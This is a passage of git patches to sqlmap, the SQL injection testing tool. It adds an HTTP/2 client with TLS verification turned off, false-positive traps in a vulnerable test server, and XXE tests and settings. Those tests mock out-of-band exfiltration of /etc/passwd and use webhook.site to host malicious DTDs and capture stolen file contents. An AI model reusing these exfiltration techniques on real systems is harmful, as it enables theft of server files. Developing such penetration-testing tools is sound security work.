+ out += encode_string(value)
+ return bytes(out)
+
+SETTINGS_INITIAL_WINDOW_SIZE = 0x4
+BIG_WINDOW = (1 << 31) - 1
+
+def _recv_exact(sock, n):
+ buf = b""
+ while len(buf) < n:
+ chunk = sock.recv(n - len(buf))
+ if not chunk:
+ raise IOError("connection closed by peer")
+ buf += chunk
+ return buf
+
+def _read_frame(sock):
+ length, ftype, flags, sid = decode_frame_header(_recv_exact(sock, 9))
+ return ftype, flags, sid, (_recv_exact(sock, length) if length else b"")
+
+def _tob(x):
+ return x if isinstance(x, bytes) else x.encode("latin-1")
+
+def _connect_socket(host, port, proxy, timeout):
+ # Direct TCP, or an HTTP CONNECT tunnel through an (optionally authenticated) proxy. SOCKS proxies
+ # are excluded for HTTP/2 upstream, so any proxy reaching here is a plain HTTP one. proxy is a
+ # (proxy_host, proxy_port, "user:pass"-or-None) tuple.
+ if not proxy:
+ return socket.create_connection((host, port), timeout=timeout)
+
+ proxy_host, proxy_port, proxy_cred = proxy
+ raw = socket.create_connection((proxy_host, proxy_port), timeout=timeout)
+ try:
+ request = "CONNECT %s:%d HTTP/1.1\r\nHost: %s:%d\r\n" % (host, port, host, port)
+ if proxy_cred:
+ token = base64.b64encode(proxy_cred.encode("latin-1")).decode("ascii")
+ request += "Proxy-Authorization: Basic %s\r\n" % token
+ request += "\r\n"
+ raw.sendall(request.encode("latin-1"))
+
+ response = b""
+ while b"\r\n\r\n" not in response:
+ chunk = raw.recv(4096)
+ if not chunk:
+ raise IOError("proxy closed the connection during CONNECT")
+ response += chunk
+ if len(response) > 65536:
+ raise IOError("oversized proxy CONNECT response")
+
+ status_line = response.split(b"\r\n", 1)[0].decode("latin-1", "replace")
+ fields = status_line.split(None, 2)
+ code = int(fields[1]) if len(fields) >= 2 and fields[1].isdigit() else 0
+ if not (200 <= code < 300):
+ raise IOError("proxy CONNECT failed: %s" % status_line)
+ return raw
+ except Exception:
+ try:
+ raw.close()
+ except Exception:
+ pass
+ raise
+
+def h2_request(host, port=443, method="GET", path="/", authority=None, headers=None, body=None, timeout=30, proxy=None):
+ authority = authority or host
+ ctx = ssl._create_unverified_context()
+ ctx.set_alpn_protocols(["h2"])
+ sock = ctx.wrap_socket(_connect_socket(host, port, proxy, timeout), server_hostname=host)
+ try:
+ if sock.selected_alpn_protocol() != "h2":
+ raise IOError("server did not negotiate h2 (ALPN=%r)" % sock.selected_alpn_protocol())
+ sock.settimeout(timeout)
+
+ # connection preface + client SETTINGS (advertise a large per-stream window) + bump conn window
+ sock.sendall(CONNECTION_PREFACE)
+ sock.sendall(encode_frame(SETTINGS, 0, 0, struct.pack("!HI", SETTINGS_INITIAL_WINDOW_SIZE, BIG_WINDOW)))
+ sock.sendall(encode_frame(WINDOW_UPDATE, 0, 0, struct.pack("!I", BIG_WINDOW - 65535)))
+
+ req = [(b":method", _tob(method)), (b":scheme", b"https"), (b":path", _tob(path)), (b":authority", _tob(authority))]
+ for k, v in (headers or {}).items():
+ req.append((_tob(k).lower(), _tob(v)))
+ hblock = Encoder().encode(req)
+ sock.sendall(encode_frame(HEADERS, FLAG_END_HEADERS | (0 if body else FLAG_END_STREAM), 1, hblock))
+ if body:
+ sock.sendall(encode_frame(DATA, FLAG_END_STREAM, 1, _tob(body)))
+
+ dec = Decoder()
+ header_block, resp_headers, resp_body, done = b"", None, bytearray(), False
+ while not done:
+ ftype, flags, sid, payload = _read_frame(sock)
+ if ftype == SETTINGS:
+ if not (flags & FLAG_ACK):
+ sock.sendall(encode_frame(SETTINGS, FLAG_ACK, 0, b""))
+ elif ftype == PING:
+ if not (flags & FLAG_ACK):
+ sock.sendall(encode_frame(PING, FLAG_ACK, 0, payload))
+ elif ftype == GOAWAY:
+ done = True
+ elif ftype == RST_STREAM and sid == 1:
+ raise IOError("stream reset by server (error %d)" % struct.unpack("!I", payload[:4])[0])
+ elif ftype in (HEADERS, CONTINUATION) and sid == 1:
+ p = payload
+ if ftype == HEADERS:
+ if flags & FLAG_PADDED:
+ p = p[1:len(p) - bytearray(payload)[0]]
+ if flags & FLAG_PRIORITY:
+ p = p[5:]
+ header_block += p
+ if flags & FLAG_END_HEADERS:
+ resp_headers = dec.decode(header_block)
+ if flags & FLAG_END_STREAM:
+ done = True
+ elif ftype == DATA and sid == 1:
+ p = payload
+ if flags & FLAG_PADDED:
+ p = p[1:len(p) - bytearray(payload)[0]]
+ resp_body += p
+ if payload: # replenish stream + connection windows
+ sock.sendall(encode_frame(WINDOW_UPDATE, 0, 1, struct.pack("!I", len(payload))))
+ sock.sendall(encode_frame(WINDOW_UPDATE, 0, 0, struct.pack("!I", len(payload))))
+ if flags & FLAG_END_STREAM:
+ done = True
+ status = None
+ for n, v in (resp_headers or []):
+ if _tob(n) == b":status":
+ status = int(v)
+ break
+ return status, resp_headers, bytes(resp_body)
+ finally:
+ try: sock.close()
+ except Exception: pass
+
+
+class H2Response(object):
+ """A urllib-response-compatible wrapper around a native HTTP/2 response, so the rest of sqlmap's
+ request pipeline can consume it exactly like a urllib response (code/msg/info()/read()/geturl())."""
+
+ def __init__(self, url, status, headers, body):
+ self.url = url
+ self.code = self.status = status
+ self.msg = _HTTP_RESPONSES.get(status, "")
+ self.http_version = "HTTP/2.0"
+ self._body = body
+ self._offset = 0
+ self._info = _Message()
+ for name, value in (headers or []):
+ name = name.decode("latin-1") if isinstance(name, bytes) else name
+ value = value.decode("latin-1") if isinstance(value, bytes) else value
+ if not name.startswith(":"): # drop HTTP/2 pseudo-headers (:status etc.)
+ self._info[name] = value
+ # expose a mimetools.Message-style '.headers' list so patchHeaders() treats this object
+ # uniformly across Python 2/3 (email.message.Message lacks it, and Python 2 iteration over a
+ # bare Message falls back to integer indexing)
+ self._info.headers = ["%s: %s\r\n" % (name, value) for (name, value) in self._info.items()]
+
+ def info(self):
+ return self._info
+
+ def geturl(self):
+ return self.url
+
+ def read(self, amt=None):
+ if amt is None:
+ data = self._body[self._offset:]
+ self._offset = len(self._body)
+ else:
+ data = self._body[self._offset:self._offset + amt]
+ self._offset += len(data)
+ return data
+
+ def close(self):
+ pass
+
+
+def open_url(url, method="GET", headers=None, body=None, timeout=30, follow_redirects=True, max_redirects=10, proxy=None):
+ """Fetch url over native HTTP/2 (https only), following redirects like a browser (mirroring the
+ previous httpx follow_redirects=True), and return an H2Response. Raises IOError on a transport or
+ ALPN-negotiation failure. Connection-level and h2-forbidden request headers are stripped."""
+ forbidden = ("host", "connection", "keep-alive", "proxy-connection", "transfer-encoding", "upgrade", "content-length")
+ req_headers = {}
+ for key in (headers or {}):
+ name = key.decode("latin-1") if isinstance(key, bytes) else key
+ if name.lower() not in forbidden:
+ req_headers[key] = headers[key]
+
+ for _ in range(max_redirects + 1):
+ parts = urlsplit(url)
+ if parts.scheme != "https":
+ raise IOError("native HTTP/2 client supports 'https://' targets only (got %r)" % parts.scheme)
+ path = parts.path or "/"
+ if parts.query:
+ path += "?" + parts.query
+ status, resp_headers, resp_body = h2_request(parts.hostname, parts.port or 443, method=method, path=path,
+ authority=parts.netloc.split("@")[-1], headers=req_headers, body=body, timeout=timeout, proxy=proxy)
+ if follow_redirects and status in REDIRECT_CODES:
+ location = None
+ for name, value in (resp_headers or []):
+ if (name.decode("latin-1") if isinstance(name, bytes) else name).lower() == "location":
+ location = value.decode("latin-1") if isinstance(value, bytes) else value
+ break
+ if location:
+ url = urljoin(url, location)
+ if status in (301, 302, 303): # per RFC 7231, these degrade to GET
+ method, body = "GET", None
+ continue
+ return H2Response(url, status, resp_headers, resp_body)
+
+ raise IOError("too many HTTP/2 redirects")
diff --git a/lib/utils/deps.py b/lib/utils/deps.py
index 51a9a23ea..ce61a7344 100644
--- a/lib/utils/deps.py
+++ b/lib/utils/deps.py
@@ -94,16 +94,6 @@ def checkDependencies():
logger.warning(warnMsg)
missing_libraries.add('python-ntlm')
- try:
- __import__("httpx")
- debugMsg = "'httpx[http2]' third-party library is found"
- logger.debug(debugMsg)
- except ImportError:
- warnMsg = "sqlmap requires 'httpx[http2]' third-party library "
- warnMsg += "if you plan to use HTTP version 2"
- logger.warning(warnMsg)
- missing_libraries.add('httpx[http2]')
-
try:
__import__("websocket._abnf")
debugMsg = "'websocket-client' library is found"
From 3e7d064cc9252be6809d0ea53e593594a732931b Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Miroslav=20=C5=A0tampar?=
Date: Wed, 1 Jul 2026 14:59:34 +0200
Subject: [PATCH 04/30] Adding some more tests
---
data/txt/sha256sums.txt | 12 ++++----
extra/vulnserver/vulnserver.py | 52 ++++++++++++++++++++++++++++++++++
lib/core/optiondict.py | 1 +
lib/core/settings.py | 2 +-
lib/core/testing.py | 43 ++++++++++++++++++++++------
lib/parse/cmdline.py | 5 +++-
sqlmap.py | 5 +++-
7 files changed, 102 insertions(+), 18 deletions(-)
diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt
index 68ae7e13f..956c8865d 100644
--- a/data/txt/sha256sums.txt
+++ b/data/txt/sha256sums.txt
@@ -160,7 +160,7 @@ ca86d61d3349ed2d94a6b164d4648cff9701199b5e32378c3f40fca0f517b128 extra/shutils/
df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/recloak.sh
1972990a67caf2d0231eacf60e211acf545d9d0beeb3c145a49ba33d5d491b3f extra/shutils/strip.sh
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/vulnserver/__init__.py
-617cec1b731e0baacafa6f58c2f56a85b6128d1416627cc1b2f61519c8539a2e extra/vulnserver/vulnserver.py
+9af5fdfa8b2425d404d86ab08d3644caa95bcf77605551f5da482a59d1e54a22 extra/vulnserver/vulnserver.py
a2bf70d7f87c3a4e0675c0bad54119a4e04efa6ea2730a8338d5aebcd995630e lib/controller/action.py
736715a73941a06e5d3d349dd01a1f1b171f54eb4c374c6752b2cc44b0977ffe lib/controller/checks.py
666935b658074dc9c42153622b75d4ec7bfe56fbe0742de827a5d30a1a0f9d96 lib/controller/controller.py
@@ -181,7 +181,7 @@ f8de57606325456928e46ae2896f5f8bbec9ad18b1c644b492a566fa992216f6 lib/core/decor
5387168e5dfedd94ae22af7bb255f27d6baaca50b24179c6b98f4f325f5cc7b4 lib/core/exception.py
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/core/__init__.py
914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad lib/core/log.py
-5a576f802f1298d0aa357e766ae6502fa53cacbbe0b1d328b7410a8b20a885b2 lib/core/optiondict.py
+4fe3ac4c0d354d1ac42ad3f5dc1b308993588f8a249ff880d273f5031d6b52b0 lib/core/optiondict.py
98d3d61278794705c7039e40fab66a626e8d6ab765383c5379cec7a066b09301 lib/core/option.py
21b2b1745107c211fc7593923a3da7a808d40763c00091c28de5f7c129bcf3bc lib/core/patch.py
49c0fa7e3814dfda610d665ee02b12df299b28bc0b6773815b4395514ddf8dec lib/core/profiling.py
@@ -189,18 +189,18 @@ f8de57606325456928e46ae2896f5f8bbec9ad18b1c644b492a566fa992216f6 lib/core/decor
9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py
0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py
888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py
-35c24cf138fdd68add3c8f6274d6ff735b5209c84eec635ba316f986b67325ef lib/core/settings.py
+61024490352e898a43f1cb001fb79276d185ef3579b6230df46badf573336833 lib/core/settings.py
c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py
a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py
19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py
-540443bdc23965be80d80185d7f3b54b632228af220dc2cb2e9cbb3f4fd4cea4 lib/core/testing.py
+96d107a31bb9647a9b7c26f10beac528bf4edc6e607c8b776c624d494332c7f8 lib/core/testing.py
95656c44bab1771f4808030dd6a17eae5b129cb1234443f00b19695c7b712b86 lib/core/threads.py
b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unescaper.py
53e396902cb2546eaa09e77073fcba8be8827ee9ce055cfc899e81b0e6ad4d6d lib/core/update.py
2400e465fa4d13e4c32795910878c71ff212e4361b46428d57ce43983f5e997c lib/core/wordlist.py
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/__init__.py
54bfd31ebded3ffa5848df1c644f196eb704116517c7a3d860b5d081e984d821 lib/parse/banner.py
-403ebb5b54531cf907a30ed439fc881cf3cbae68c3a4ec600c75312e5f6b9001 lib/parse/cmdline.py
+d6ba23b8f3d40cb021de1ebe50eabf891f060df77e9643838ff8fd3850b507d0 lib/parse/cmdline.py
02d82e4069bd98c52755417f8b8e306d79945672656ac24f1a45e7a6eff4b158 lib/parse/configfile.py
c5b258be7485089fac9d9cd179960e774fbd85e62836dc67cce76cc028bb6aeb lib/parse/handler.py
5c9a9caee948843d5537745640cc7b98d70a0412cc0949f59d4ebe8b2907c06c lib/parse/headers.py
@@ -509,7 +509,7 @@ cedf45d33461bd7e5400d06611a63c8a4ffae1a4510030c5696b9d46ed6a9883 plugins/generi
46517f1444c202710e388873960130850ed092e17bd6f4dd5f2fedea3dbb8ffc sqlmapapi.py
f09d1b06901e7e02d0dbf4de607f6a4a9889acc322ae9353b98ea9101fb9548a sqlmapapi.yaml
627d90f1194335b800cbc9cc78db6697cf9e02e193a83598e0d4d0abb55b63b8 sqlmap.conf
-41fa63d55909cf00a0bb02e979c4f2c0ad7df4b32a89374150772b247fa96fc2 sqlmap.py
+d375c77f1f4270ec0967e67963fe410f14b5d2e51ed6483593dc1aaa4e8e106e sqlmap.py
eb37a88357522fd7ad00d90cdc5da6b57442b4fec49366aadb2944c4fbf8b804 tamper/0eunion.py
a9785a4c111d6fee2e6d26466ba5efb3b229c00520b26e8024b041553b53efba tamper/apostrophemask.py
cf26bc8006519bd25ce06d347f72770cd75b61575cf65e5812274e8ab9392eb4 tamper/apostrophenullencode.py
diff --git a/extra/vulnserver/vulnserver.py b/extra/vulnserver/vulnserver.py
index f20c318eb..80290048c 100644
--- a/extra/vulnserver/vulnserver.py
+++ b/extra/vulnserver/vulnserver.py
@@ -17,6 +17,7 @@ import sqlite3
import string
import sys
import threading
+import time
import traceback
PY3 = sys.version_info >= (3, 0)
@@ -1044,6 +1045,57 @@ class ReqHandler(BaseHTTPRequestHandler):
self.wfile.write(output.encode(UNICODE_ENCODING))
return
+ if self.url == "/fp":
+ # False-positive battery traps (exercised on demand by '--fp-test'). Every trap is
+ # deliberately NON-injectable but baits a specific FP defense; sqlmap must report "not
+ # injectable" for all of them (each is paired, in FP_TESTS, with a real injectable twin).
+ trap = self.params.get("trap", "reflect")
+ idv = self.params.get("id", "1")
+
+ def _rnd(n=8):
+ return "".join(random.choice("0123456789abcdef") for _ in range(n))
+
+ if trap == "intcast":
+ # parameterized int lookup: id=1 -> row, non-int (e.g. "1 AND 1=1") -> empty. A boolean
+ # payload yields a differential yet it is NOT SQLi -> the false-positive check must reject it.
+ try:
+ hit = int(idv) in (1, 2, 3)
+ except ValueError:
+ hit = False
+ output = "SQL results:
%s
" % ("
%s
luther
blisset
" % idv if hit else "")
+ elif trap == "structrand":
+ # heavy dynamic TEXT (defeats dynamic-content removal) + STABLE structure; id is not
+ # reflected into the structure -> stresses the structure-aware comparison oracle.
+ rows = "".join("
%s
%s
" % (_rnd(), _rnd()) for _ in range(3))
+ output = ("Report
%s
"
+ "
%s
"
+ "
%s
" % (_rnd(), _rnd(), rows, _rnd()))
+ elif trap == "acceptall":
+ # 200 + identical content for EVERYTHING incl. garbage -> the reads-everything-true channel.
+ output = "OK welcome to the portal"
+ elif trap == "reflect":
+ # echoes the parameter verbatim (reflection) with no SQL sink.
+ output = "you searched for: %s" % idv
+ elif trap == "errors":
+ # DB-error-looking text for any non-baseline input -> baits error-based detection.
+ output = "Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result" if idv != "1" else "SQL results:
", "&e;")
+ self.assertEqual(out.count("&e;"), 2)
+ self.assertNotIn("one", out)
+ self.assertNotIn("two", out)
+
+ def test_attributes_only_when_requested(self):
+ text = 'luther'
+ self.assertNotIn('id="&e;"', xxe._placeRef(text, "&e;")) # attrs off by default
+ self.assertIn('id="&e;"', xxe._placeRef(text, "&e;", attrs=True)) # attrs on
+
+ def test_xmlns_preserved(self):
+ out = xxe._placeRef('x', "&e;", attrs=True)
+ self.assertIn('xmlns:soap="ns"', out) # namespace decl untouched
+
+ def test_self_closing_fallback(self):
+ out = xxe._placeRef("", "&e;")
+ self.assertIn("&e;", out)
+ self.assertIn("", out)
+
+ def test_empty_element_fallback(self):
+ out = xxe._placeRef("", "&e;")
+ self.assertIn("&e;", out)
+
+
+class TestGuards(unittest.TestCase):
+ def test_echoed(self):
+ self.assertTrue(xxe._echoed("... luther", "u", baseline="Hello, luther!")
+ self.assertIsNotNone(payload)
+
+ def test_internal_echo_rejected(self):
+ # endpoint mirrors the raw body back (never parses) -> must NOT be a hit
+ xxe._send = lambda body: "You sent: %s" % body
+ payload, _ = xxe._tryInternal("luther", "u", baseline="You sent: luther")
+ self.assertIsNone(payload)
+
+ def test_internal_baseline_contains_sentinel_rejected(self):
+ xxe._send = lambda body: "Hello, %s!" % xxe.SENTINEL
+ payload, _ = xxe._tryInternal("luther", "u", baseline="already %s here" % xxe.SENTINEL)
+ self.assertIsNone(payload)
+
+ def test_error_based_positive(self):
+ xxe._send = lambda body: 'XML error: failed to load external entity "file:///%s/nonexistent"' % xxe.SENTINEL
+ payload, page = xxe._tryError("x", "u")
+ self.assertIsNotNone(payload)
+ self.assertIsNotNone(xxe._fingerprint(page))
+
+ def test_error_based_echo_rejected(self):
+ xxe._send = lambda body: "You sent: %s" % body # echoes DOCTYPE/ENTITY -> _echoed guard
+ payload, _ = xxe._tryError("x", "u")
+ self.assertIsNone(payload)
+
+ def test_error_exfil_extraction_base64(self):
+ import base64
+ from lib.core.convert import getText
+ secret = getText(base64.b64encode(b"root:x:0:0:root:/root:/bin/sh"))
+
+ def mock(body):
+ m = re.search(r'file:///(\w+)/%file;', body) or re.search(r'file:///(\w+)/%file;', body)
+ marker = m.group(1) if m else "zzz"
+ return 'failed to load "file:///%s/%s"' % (marker, secret)
+
+ xxe._send = mock
+ conf.fileRead = "/etc/passwd"
+ try:
+ content, name = xxe._tryErrorExfil("x", "u")
+ finally:
+ conf.fileRead = None
+ self.assertEqual(name, "/etc/passwd")
+ self.assertIn("root:x:0:0", content or "")
+
+
+class TestRealXmlPayloads(unittest.TestCase):
+ """Prove crafted payloads are well-formed and actually expand the entity."""
+
+ @staticmethod
+ def _expand(payload):
+ try:
+ from lxml import etree
+ except ImportError:
+ raise unittest.SkipTest("lxml not available")
+ parser = etree.XMLParser(resolve_entities=True, load_dtd=True, no_network=True, huge_tree=False)
+ doc = etree.fromstring(payload.encode("utf-8"), parser)
+ return "".join(doc.itertext())
+
+ def test_internal_entity_expands(self):
+ xxe.SENTINEL = "realxmlsentinel"
+ ent = "abcd"
+ subset = '' % (ent, xxe.SENTINEL)
+ payload = xxe._placeRef(xxe._buildDoctype("luther", "u", subset), "&%s;" % ent)
+ self.assertIn(xxe.SENTINEL, self._expand(payload))
+
+ def test_internal_entity_expands_with_existing_doctype(self):
+ xxe.SENTINEL = "realxmlsentinel2"
+ ent = "efgh"
+ subset = '' % (ent, xxe.SENTINEL)
+ base = ']>luther'
+ payload = xxe._placeRef(xxe._buildDoctype(base, "u", subset), "&%s;" % ent)
+ self.assertIn(xxe.SENTINEL, self._expand(payload))
+
+ def test_attribute_entity_expands(self):
+ xxe.SENTINEL = "attrsentinel"
+ ent = "ijkl"
+ subset = '' % (ent, xxe.SENTINEL)
+ payload = xxe._placeRef(xxe._buildDoctype('x', "u", subset), "&%s;" % ent, attrs=True)
+ self.assertIn(xxe.SENTINEL, self._expand(payload))
+
+
+if __name__ == "__main__":
+ unittest.main()
From 3cf29a543a7d7913ac04fb6b5fd771707438d72b Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Miroslav=20=C5=A0tampar?=
Date: Sat, 4 Jul 2026 10:36:10 +0200
Subject: [PATCH 25/30] Refactoring for --xxe
---
data/txt/sha256sums.txt | 10 +-
lib/core/settings.py | 12 +-
lib/request/interactsh.py | 8 +-
lib/request/webhooksite.py | 32 ++++-
lib/techniques/xxe/inject.py | 232 +++++++++++++++++++++++------------
tests/test_xxe.py | 116 ++++++++++++++++++
6 files changed, 313 insertions(+), 97 deletions(-)
diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt
index ed2947c53..e1c202926 100644
--- a/data/txt/sha256sums.txt
+++ b/data/txt/sha256sums.txt
@@ -189,7 +189,7 @@ c2db614a3ce7dda889152bea8bd6d709e5d8c2b556741fdbfe44469f27ce266b lib/core/enums
9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py
0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py
888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py
-d974c44979d7699feda3eafeb1baee9618cb6dbe27b144a6d36bec95527c5cee lib/core/settings.py
+c8b5b430219d8bdd7e0139c2fe10a8175c55dc4ef2c1baa84fa24c4d6d8d4229 lib/core/settings.py
c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py
a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py
15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64 lib/core/target.py
@@ -220,14 +220,14 @@ b1f07e0571f249eedf294b7827c530b0de8c0524d445b33fdb2d0a639c0f123a lib/request/dn
92c81cc31ff4a396723242058fb2152c9e9745f8412d01ea74480b048a53af6c lib/request/httpshandler.py
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/request/__init__.py
7a0ac2522213e756348fd871a7af74cc963bdc82f9d7ade57be5de42b5bf7cab lib/request/inject.py
-fa51d6c8855049ac18b8c08dfea87df3ce0ebcc094d62322e9f615284bca54af lib/request/interactsh.py
+df97f7ccb437f9fda76b3d87cb5c11a01d09a0fa395c0d6bd555812cf92b70e6 lib/request/interactsh.py
ff15723c82e343eb95f4599d251165d478ca720afc8f5daaed3da44ea923df44 lib/request/keepalive.py
ada4d305d6ce441f79e52ec3f2fc23869ee2fa87c017723e8f3ed0dfa61cdab4 lib/request/methodrequest.py
43a7fdf64e7ba63c6b2d641c9f999a63c12ac23b43b64fedfce4e05b863de568 lib/request/pkihandler.py
b90feeb16e89a844427df42373b0139eb6f6cf3c48ccec32b3e3a3f540c2451e lib/request/rangehandler.py
fa347e74361904d052e4d5c958ebbdf080e4f7003176824a44786108b4d7afc6 lib/request/redirecthandler.py
1bf93c2c251f9c422ecf52d9cae0cd0ff4ea2e24091ee6d019c7a4f69de8e5eb lib/request/templates.py
-58da8988a650c19e080980e545216158ba267065374c6812dabe0b22c1407bd2 lib/request/webhooksite.py
+b53a750d957dc50cee15261358cafc3d339b8b28d70ebecf202009d0c13037a6 lib/request/webhooksite.py
01600295b17c00d4a5ada4c77aa688cfe36c89934da04c031be7da8040a3b457 lib/takeover/abstraction.py
d3c93562d78ebdaf9e22c0ea2e4a62adb12f0ce9e9d9631c1ea000b1a07d04ab lib/takeover/icmpsh.py
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/takeover/__init__.py
@@ -258,7 +258,7 @@ c68f8259e0a89a556d049f227041849df584313bd1b5349b02f74a47778c901c lib/techniques
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/xpath/__init__.py
c61816c9dba9f6cc2223aed1a923f95130979e5f0a88ec254ee667d955ed2734 lib/techniques/xpath/inject.py
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/xxe/__init__.py
-9a74178421ea0d98f7b27062e97eb55a12236deb893c2ef5f26fb6e734001f32 lib/techniques/xxe/inject.py
+d9a776f37578e4c3b0498689eaff448904048b41d8ce9e758d2404a912c44ae8 lib/techniques/xxe/inject.py
2403eda0e87835a2b402cbe6927a4d2737c4e87f3d4ef9b75e7685f3d2a9dc1e lib/utils/api.py
442555ab85277aff7c9e0cf465ea5b0d28395c326f68363449b2d3941f4b6de2 lib/utils/brute.py
da5bcbcda3f667582adf5db8c1b5d511b469ac61b55d387cec66de35720ed718 lib/utils/crawler.py
@@ -670,7 +670,7 @@ b03689c4dcca0e88a62a88784c61418f963c031d338a357dcc223560c8f9bd22 tests/test_use
93ef9944effc62d4f744c57bd643137c90fd92205c6a6cbe891e0e99efb80a7f tests/test_wafbypass.py
81bb6d7449f224fa337734ae361c1a340bf9a51768a854d6a1a6e718ed1263ca tests/test_wordlist.py
9d6dd551b751ab38200ab190c744ec0a9afa798b37f83b0078a4325ab3f80aec tests/test_xpath.py
-140aa78a94fb97e364cead82149f5a2c33d576b721f39ae52a6352072d770793 tests/test_xxe.py
+b01acaa558b4f3e87957fe2d9a59d48878a7ed26660d5676ca34ecaaa1efd2b7 tests/test_xxe.py
55eaefc664bd8598329d535370612351ec8443c52465f0a37172ea46a97c458a thirdparty/ansistrm/ansistrm.py
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/ansistrm/__init__.py
f597b49ef445bfbfb8f98d1f1a08dcfe4810de5769c0abfab7cdce4eebbfcae7 thirdparty/beautifulsoup/beautifulsoup.py
diff --git a/lib/core/settings.py b/lib/core/settings.py
index 7f4522c89..86505b7b1 100644
--- a/lib/core/settings.py
+++ b/lib/core/settings.py
@@ -20,7 +20,7 @@ from lib.core.enums import OS
from thirdparty import six
# sqlmap version (...)
-VERSION = "1.10.7.24"
+VERSION = "1.10.7.25"
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
@@ -1102,13 +1102,12 @@ XXE_HARDENED_REGEX = r"(?i)(?:DOCTYPE is disallowed|DTD is prohibited|(?:externa
OOB_INTERACTSH_SERVERS = ("oast.fun", "oast.pro", "oast.live", "oast.site", "oast.online", "oast.me")
# Public content-hosting + request-logging endpoint for blind-XXE OOB exfiltration
# (hosts the malicious external DTD and captures the file-bearing callback). Unlike
-# interactsh it can serve arbitrary content; HTTP-only. Default exfil target is benign.
+# interactsh it can serve arbitrary content; HTTP-only. Used only on explicit consent.
OOB_EXFIL_ENDPOINT = "https://webhook.site"
-OOB_EXFIL_DEFAULT_FILE = "/etc/hostname"
OOB_CORRELATION_ID_LENGTH = 20
OOB_NONCE_LENGTH = 13
-OOB_POLL_ATTEMPTS = 5
-OOB_POLL_DELAY = 2
+OOB_POLL_ATTEMPTS = 15 # generous: two-hop exfil (target fetches DTD, then calls back) over the
+OOB_POLL_DELAY = 2 # target's own link + webhook.site's eventually-consistent API (best-effort)
# Time-based blind tier: an external entity aimed at this non-routable RFC5737
# TEST-NET-1 host makes a fetching parser stall on the connection, so a large,
@@ -1118,9 +1117,8 @@ XXE_BLACKHOLE_HOST = "192.0.2.1"
XXE_TIME_THRESHOLD = 5
XXE_IMPACT_FILES = (
- ("file:///etc/os-release", r"(?i)^(?:NAME|ID|VERSION)="), # high-signal, tried first
+ ("file:///etc/os-release", r"(?i)^(?:NAME|ID|VERSION)="), # anchored, high-signal
("file:///c:/windows/win.ini", r"(?i)\[(?:fonts|extensions|mci extensions|files)\]"),
- ("file:///etc/hostname", r"^[\w.-]{1,255}$"), # loosest pattern, tried last
)
# GoSecure dtd-finder local-DTD repurposing table for no-egress error-based XXE:
diff --git a/lib/request/interactsh.py b/lib/request/interactsh.py
index b089dcd75..e57a09537 100644
--- a/lib/request/interactsh.py
+++ b/lib/request/interactsh.py
@@ -88,9 +88,13 @@ class Interactsh(object):
handlers = []
try:
+ # Verify TLS for the (public, valid-cert) interaction server by default;
+ # only skip verification when the user has globally opted out (--force-ssl-verify
+ # off / verifyCert False), matching sqlmap's own TLS posture.
context = ssl.create_default_context()
- context.check_hostname = False
- context.verify_mode = ssl.CERT_NONE
+ if conf.get("verifyCert") is False:
+ context.check_hostname = False
+ context.verify_mode = ssl.CERT_NONE
handlers.append(HTTPSHandler(context=context))
except Exception:
pass
diff --git a/lib/request/webhooksite.py b/lib/request/webhooksite.py
index 9191ae3ff..dac6edf6b 100644
--- a/lib/request/webhooksite.py
+++ b/lib/request/webhooksite.py
@@ -7,11 +7,12 @@ See the file 'LICENSE' for copying permission
import json
+from lib.core.data import conf
from lib.core.data import logger
+from lib.core.convert import getBytes
from lib.core.convert import getText
from lib.core.enums import HTTP_HEADER
from lib.core.settings import OOB_EXFIL_ENDPOINT
-from lib.request.connect import Connect as Request
# webhook.site is used for blind-XXE OOB *exfiltration*: it can both serve a custom
# response (our malicious external DTD) AND log the request the target then makes
@@ -21,8 +22,9 @@ from lib.request.connect import Connect as Request
class WebhookSite(object):
"""Thin webhook.site client: mints tokens (optionally serving fixed content)
- and reads back the requests captured on them. All calls go through sqlmap's
